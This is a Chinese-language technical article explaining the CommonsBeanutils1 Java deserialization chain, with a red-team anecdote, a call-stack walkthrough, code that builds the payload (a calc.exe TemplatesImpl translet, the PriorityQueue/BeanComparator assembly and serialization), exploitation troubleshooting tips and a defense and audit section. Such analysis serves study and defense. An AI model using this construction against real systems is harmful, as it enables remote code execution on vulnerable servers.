深入解析CommonsBeanutils反序列化漏洞:原理、利用与防御

发布时间:2026/6/22 15:42:39
深入解析CommonsBeanutils反序列化漏洞:原理、利用与防御 1. 项目概述从一次“意外”的RCE说起几年前我在做一次内部红蓝对抗演练时遇到了一个非常典型的场景。目标系统是一个使用了Apache Shiro框架的Java Web应用在登录处抓包发现rememberMe字段是一串Base64编码的字符。当时脑子里第一个蹦出来的就是“反序列化”。常规操作上ysoserial生成一个CommonsCollections的payload打过去服务器返回了500错误但预期的反弹Shell并没有出现。排查了很久发现目标服务器的依赖库里确实有commons-collections但版本是3.2.1而当时ysoserial里常用的几个链比如CommonsCollections1在3.2.2以下版本是存在问题的。一时间陷入了僵局。后来在翻看ysoserial的payload列表时注意到了CommonsBeanutils1这个选项。抱着试试看的心态用它生成了一个新的payload替换掉之前的rememberMe值再次发送。几秒钟后监听端口传来了熟悉的连接提示音——成功了。这次经历让我对CommonsBeanutils这条“备选”链留下了深刻印象。它不像CC链那样“名声在外”但在很多实战环境中尤其是CC链因为版本问题失效时它往往能成为打开局面的关键钥匙。今天我们就来彻底拆解这条链不仅要知道怎么用更要搞懂它每一步是怎么“走”通的以及在实际的漏洞挖掘和代码审计中如何快速识别和利用这类风险。简单来说CommonsBeanutils反序列化利用链是利用Apache Commons BeanUtils组件中一个特殊的Comparator实现类——BeanComparator在特定条件下即存在TemplatesImpl类时通过反序列化过程触发任意Java代码执行的一条通路。它不依赖Commons Collections的特定版本而是依赖BeanUtils和核心的Java反射机制因此在依赖了BeanUtils的各类框架如Shiro、WebLogic的某些版本中具有广泛的适用性。理解这条链是深入Java反序列化漏洞领域的必修课。2. 核心原理与依赖环境剖析要理解这条链我们不能只停留在“用工具生成payload”的层面必须深入到Java反序列化的机制和BeanUtils组件的设计中去。2.1 反序列化漏洞的通用触发模型Java反序列化漏洞的利用本质上是一个“寻找从readObject()到危险方法如Runtime.exec()的调用链”的过程。这个链条通常由几个关键环节拼接而成入口点Sink一个类的readObject()、readResolve()、readExternal()等方法在反序列化时会被自动调用。这是攻击的起点。传递与衔接Gadget Chain一系列实现了Serializable接口的类它们的某些方法如getter、setter、compare、hashCode、equals、toString等在特定逻辑下会被自动调用。这些方法像齿轮一样将执行流从一个对象传递到另一个对象。执行点Source最终执行恶意操作的地方例如调用TemplatesImpl.newTransformer()来加载字节码或者通过反射调用Runtime.exec()。CommonsBeanutils链的巧妙之处在于它找到了一个非常通用的“传递齿轮”——BeanComparator.compare()方法并利用它来触发TemplatesImpl中的代码执行。2.2 关键依赖组件分析这条链的核心依赖其实非常清晰Apache Commons BeanUtils (版本通常 1.9.4)这是链的“发动机”。我们需要其中的BeanComparator类。在1.9.4版本之后该类实现发生了变化默认的Comparator不再是可序列化的ComparableComparator导致经典的利用链失效。因此1.9.4及更早的版本是存在风险的。在实际审计时检查pom.xml或lib目录下的commons-beanutils-*.jar版本号是第一步。Apache Commons Collections (可选但通常存在)链中需要一个实现了Comparator接口且可序列化的对象。经典利用链使用的是Commons Collections中的ComparableComparator或ComparatorUtils类。但请注意Beanutils链本身不依赖CC链的漏洞它只是借用了CC里的这个比较器工具。即使CC版本很低如3.2.1只要这个比较器存在且可用链就能工作。这也是它比纯CC链适应性更强的原因之一。Java Runtime (必须)需要存在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。这个类是Java标准库JRE/JDK的一部分存在于rt.jar中。它有一个关键方法newTransformer()可以用来加载并实例化字节码是达成代码执行的最终桥梁。注意很多初学者会混淆CommonsBeanutils链和CommonsCollections链。记住一个关键区别CC链的触发核心是TransformedMap或LazyMap与ChainedTransformer/ConstantTransformer的配合利用的是“值转换”时的回调。而CB链的核心是BeanComparator利用的是“对象比较”时通过PropertyUtils.getProperty()触发的getter方法调用。两者的攻击面和技术原理有本质不同。2.3 漏洞利用的基本条件综合来看一个系统如果存在CommonsBeanutils反序列化漏洞利用的风险通常需要满足以下条件存在一个暴露的、用户输入可控的反序列化接口如Shiro的rememberMe、WebLogic的T3协议、HTTP参数中的Java序列化数据等。应用的ClassPath中包含有漏洞版本的commons-beanutils1.9.4。应用的ClassPath中包含commons-collections提供比较器和包含TemplatesImpl类的JRE/JDK。安全防护层面没有对反序列化的类进行白名单过滤或者过滤规则可以被绕过。3. 利用链的详细拆解与跟踪我们直接深入到代码层面看看这条链是如何一环扣一环运作的。为了更直观我会结合一个简化版的利用代码片段进行说明。假设我们已经通过某种方式如ysoserial生成了一个恶意的序列化对象现在这个对象正在被目标系统反序列化。3.1 起点PriorityQueue的readObject在经典的CommonsBeanutils1利用链中选择的入口点通常是java.util.PriorityQueue。为什么是它因为它的readObject()方法在反序列化恢复堆结构时会调用一个Comparator的compare()方法来排序元素。// java.util.PriorityQueue 反序列化逻辑简化 private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // ... 读取基础数据 ... s.readInt(); // 读取队列元素 for (int i 0; i size; i) queue[i] s.readObject(); // 关键这里会调用 heapify() 进行堆调整 heapify(); } private void heapify() { for (int i (size 1) - 1; i 0; i--) siftDown(i, (E) queue[i]); // 内部会用到 comparator } private void siftDown(int k, E x) { if (comparator ! null) siftDownUsingComparator(k, x); // 如果设置了比较器走这个分支 // ... } private void siftDownUsingComparator(int k, E x) { // ... while (leftChild half) { // 关键调用这里会调用 comparator.compare(child, x) if (comparator.compare(c, x) 0) { // ... } // ... } }可以看到如果我们在序列化时给PriorityQueue设置了一个特殊的comparator那么在反序列化过程中这个comparator的compare()方法就会被调用。我们的攻击链就从这里被“点燃”了。3.2 关键齿轮BeanComparator.compare我们为PriorityQueue设置的comparator就是org.apache.commons.beanutils.BeanComparator。它的compare()方法是整个链的核心传动轴。// org.apache.commons.beanutils.BeanComparator (简化) public int compare(Object o1, Object o2) { if (property null) { // 如果没设置属性直接比较对象本身 return internalCompare(o1, o2); } // 关键通过 PropertyUtils.getProperty 获取对象的属性值 Object value1 PropertyUtils.getProperty(o1, property); Object value2 PropertyUtils.getProperty(o2, property); return internalCompare(value1, value2); } private int internalCompare(Object o1, Object o2) { // 这里调用我们传入的 comparator例如 ComparableComparator进行比较 return comparator.compare(o1, o2); }BeanComparator在比较两个对象时如果设置了property属性比如outputProperties它会通过PropertyUtils.getProperty()方法去获取该属性值。PropertyUtils.getProperty()内部是通过反射调用对象的getter方法即getOutputProperties来获取属性值的。这就将一次简单的“比较”操作转化为了对一个特定方法的调用。3.3 最终执行TemplatesImpl.getOutputProperties现在我们需要让BeanComparator去“比较”的两个对象即PriorityQueue队列中的元素是TemplatesImpl类的实例。我们精心设置property为outputProperties。当BeanComparator.compare(templatesImpl1, templatesImpl2)被执行时流程如下BeanComparator尝试获取property即outputProperties。调用PropertyUtils.getProperty(templatesImpl1, outputProperties)。PropertyUtils通过反射调用templatesImpl1.getOutputProperties()方法。TemplatesImpl.getOutputProperties()方法内部会调用newTransformer()方法。TemplatesImpl.newTransformer()方法会调用getTransletInstance()方法来实例化转换器。getTransletInstance()方法会检查_class一个Class数组是否为空。如果不为空它会通过_class[0].newInstance()来实例化这个类。而_class[0]正是我们在构造Payload时通过反射注入的、由恶意字节码定义的类。一旦这个类被实例化其静态代码块或构造函数中的恶意代码如Runtime.getRuntime().exec(calc)就会立即执行。至此一条从PriorityQueue.readObject()到任意代码执行的完整链路就打通了。其调用栈看起来会是这样简化版PriorityQueue.readObject() - PriorityQueue.heapify() - PriorityQueue.siftDownUsingComparator() - BeanComparator.compare() - PropertyUtils.getProperty() - TemplatesImpl.getOutputProperties() - TemplatesImpl.newTransformer() - TemplatesImpl.getTransletInstance() - MaliciousClass.init() 或 static{} // 恶意代码执行3.4 链的构造技巧与参数设置在实战构造时有几个细节需要特别注意队列元素设置PriorityQueue里需要至少两个元素来触发比较。通常我们会放入两个TemplatesImpl对象或者一个TemplatesImpl和一个“傀儡”对象如字符串foo并确保比较逻辑能走到调用getOutputProperties那一步。在经典构造中通过反射修改BeanComparator的property字段为null然后在第一次比较后再将其改为outputProperties是一种常见的技巧用以通过初始的比较检查。Comparator的设置需要将一个BeanComparator对象设置为PriorityQueue的comparator。这个BeanComparator在构造时需要传入一个Comparator实现通常使用org.apache.commons.collections.comparators.ComparableComparator.getInstance()。TemplatesImpl的装配通过反射创建TemplatesImpl对象并设置其_bytecodes字段为恶意类的字节码设置_name字段设置_tfactory字段等。这一步需要仔细处理字节码的生成和类的定义确保其符合TemplatesImpl加载的要求例如该类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。4. 实战利用与Payload构造解析理解了原理我们来看看如何亲手“锻造”这把武器。这里我不会直接给出攻击代码而是详细拆解构造过程中的关键步骤和思维逻辑这对于代码审计和防御绕过至关重要。4.1 恶意字节码的生成一切的起点是我们要执行的代码。我们需要将Java代码编译成字节码然后嵌入到Payload中。通常我们会创建一个继承自AbstractTranslet的类在其静态代码块或构造函数中写入恶意逻辑。// 一个示例的恶意Translet类 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.IOException; public class EvilClass extends AbstractTranslet { static { try { // 这里是恶意代码例如执行系统命令 Runtime.getRuntime().exec(calc.exe); } catch (IOException e) { e.printStackTrace(); } } Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }使用javac编译这个类得到EvilClass.class文件。然后我们需要读取这个文件的字节并将其放入一个字节数组中。这个字节数组就是我们要设置的_bytecodes。实操心得在生成字节码时务必确保编译环境与目标服务器的JRE版本尽可能兼容。高版本JDK编译的类可能在低版本JRE上无法加载。一个稳妥的做法是使用目标环境对应的JDK进行编译或者使用org.objectweb.asm等库在内存中动态生成字节码。4.2 组装TemplatesImpl对象由于TemplatesImpl的构造函数不是公开的或者关键字段是私有/受保护的我们必须通过反射来创建和装配它。// 伪代码展示装配思路 Class clazz Class.forName(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl); // 获取其声明为私有的构造函数 Constructor constructor clazz.getDeclaredConstructor(new Class[]{}); constructor.setAccessible(true); Object templatesImpl constructor.newInstance(); // 通过反射设置字段 setFieldValue(templatesImpl, “_bytecodes”, new byte[][]{evilBytes}); setFieldValue(templatesImpl, “_name”, “Anything”); // 名字不能为空 setFieldValue(templatesImpl, “_tfactory”, new TransformerFactoryImpl()); // _class字段会在后续加载字节码时自动生成无需手动设置这里setFieldValue是一个工具方法用于通过反射设置对象的字段值。注意_bytecodes是一个二维字节数组因为TemplatesImpl设计上可以支持多个类。4.3 构造BeanComparator与PriorityQueue这是链的组装环节。// 1. 创建BeanComparator初始property可以设为null或一个无害的属性如”name” final BeanComparator comparator new BeanComparator(null, ComparableComparator.getInstance()); // 2. 创建PriorityQueue并设置其comparator final PriorityQueueObject queue new PriorityQueueObject(2, comparator); // 添加两个元素触发比较。这里可以先添加两个无害对象。 queue.add(new Object()); queue.add(new Object()); // 3. 关键通过反射将BeanComparator的property修改为”outputProperties” // 这是触发TemplatesImpl.getOutputProperties()的关键 Reflections.setFieldValue(comparator, “property”, “outputProperties”); // 4. 清空队列并添加我们精心构造的TemplatesImpl对象 queue.clear(); queue.add(templatesImpl); queue.add(templatesImpl); // 添加两个相同的对象或者一个templatesImpl和一个其他对象这里有一个精妙之处PriorityQueue在反序列化时会调用comparator.compare来排序。我们通过反射在序列化之后、反序列化之前实际上是在生成Payload的代码里修改了comparator.property的值。序列化流里保存的是修改前的comparator状态property为null或无害值但反序列化后内存中的对象已经是修改后的状态property为”outputProperties”。当heapify()调用compare时使用的就是内存中这个已被修改的comparator从而成功触发对getOutputProperties的调用。4.4 序列化与交付将组装好的PriorityQueue对象进行序列化。ByteArrayOutputStream barr new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); byte[] serializedData barr.toByteArray();得到的serializedData就是我们的Payload。根据目标系统的不同我们需要对其进行适当的编码如Base64、Hex和包装然后通过漏洞入口点如HTTP请求参数、T3协议数据包、Shiro的Cookie等发送出去。5. 漏洞的防御、检测与审计视角作为开发者或安全工程师我们更关心如何避免和发现这类问题。5.1 防御策略根本解决杜绝不安全的反序列化白名单过滤使用反序列化过滤器ObjectInputFilter Java 9或第三方库如Apache Commons IO的ValidatingObjectInputStream严格定义允许反序列化的类名单。这是最有效的手段。替换序列化方案弃用Java原生序列化改用JSONJackson, Gson、XML、Protobuf等更安全的数据交换格式。升级框架及时更新Shiro、WebLogic、Fastjson等已知存在反序列化漏洞的组件到安全版本。缓解措施减少攻击面升级依赖将commons-beanutils升级到1.9.4以上版本注意高版本可能引入其他不兼容改动需测试。移除或保护危险类在安全环境允许的情况下可以考虑通过JVM参数或安全策略文件限制对TemplatesImpl、BeanComparator等危险类的访问。但这种方法影响面广需谨慎评估。代码层控制在自定义的readObject或readResolve方法中进行严格的输入验证和对象类型检查。5.2 代码审计中的识别要点在审计Java项目时如何快速定位潜在的CommonsBeanutils链风险点定位入口点全局搜索ObjectInputStream、readObject、readUnshared等关键词。特别关注从网络、文件、数据库、Cookie、参数中读取数据并进行反序列化的地方。检查依赖查看项目的pom.xml、gradle.build或lib目录确认是否存在commons-beanutils依赖且版本是否1.9.4。同时检查是否存在commons-collections提供比较器。分析调用链如果找到了可疑的反序列化点并且依赖存在风险就需要人工或借助工具如CodeQL、FindSecBugs分析从该点出发是否能通过一系列getter/setter/compare调用最终到达危险方法如TemplatesImpl.newTransformer。重点关注那些使用了BeanComparator进行排序、比较的代码段。5.3 常见问题与排查技巧在实际漏洞复现或工具使用中你可能会遇到以下问题问题Payload生成成功但打过去没反应服务器返回500或直接断开连接。排查版本兼容性首先确认目标commons-beanutils版本是否在影响范围内1.9.4。高版本可能已修复。依赖缺失确认目标ClassPath下是否存在commons-collections的Jar包以及JRE中是否有TemplatesImpl类。在一些精简的Docker镜像或特定环境中这些类可能不存在。字节码问题恶意字节码可能在目标环境中加载失败。尝试使用更简单的测试命令如ping一个DNSLOG地址或使用不同版本的JDK生成字节码。防火墙/安全软件反弹Shell或执行命令可能被主机防火墙、安全组或EDR软件拦截。尝试使用DNS外带或HTTP外带的方式验证命令是否执行。入口点错误确认你攻击的接口确实是反序列化入口。有些接口可能对数据有额外的编码、校验或包装。问题使用ysoserial的CommonsBeanutils1链时工具报错或生成的Payload无效。排查Java版本ysoserial对高版本Java如Java 8u251之后的TemplatesImpl类内部变化可能支持不佳。可以尝试使用其他链如CommonsCollections的其他变种或更新版的利用工具。工具参数确保命令参数正确例如指定了正确的命令和正确的链名称。本地测试先在本地搭建一个简单的、包含相应依赖的测试环境验证Payload是否有效。这能帮你排除掉目标环境复杂性的干扰。问题在代码审计中找到了反序列化点但不确定如何构造利用链。技巧“人肉”跟踪以危险方法如Runtime.exec为起点在IDE中反向查找调用它的方法看哪些类的getter/setter/特定方法如compare能通过反射或间接调用触达它。这是一个体力活但能加深理解。利用已知链思考当前环境是否存在已知的Gadget链组件BeanUtils, Collections, Groovy, Jython等。可以尝试将ysoserial中的Gadget链代码片段移植到审计项目中模拟构造。关注“胶水”类像BeanComparator、PriorityQueue、BadAttributeValueExpException这类在多个利用链中反复出现的“胶水”类是重点怀疑对象。理解CommonsBeanutils这条链就像是掌握了一把打开许多Java反序列化漏洞大门的钥匙。它揭示了Java反射机制与框架特性结合可能产生的巨大安全风险。对于开发者而言这提醒我们要时刻警惕不受信任数据的反序列化操作对于安全研究者而言这提供了一个分析复杂对象交互、挖掘深层漏洞的经典范本。在实战中没有一条链是万能的但通过对原理的深刻理解我们就能在遇到新环境、新限制时灵活变通找到那条通往目标的路径。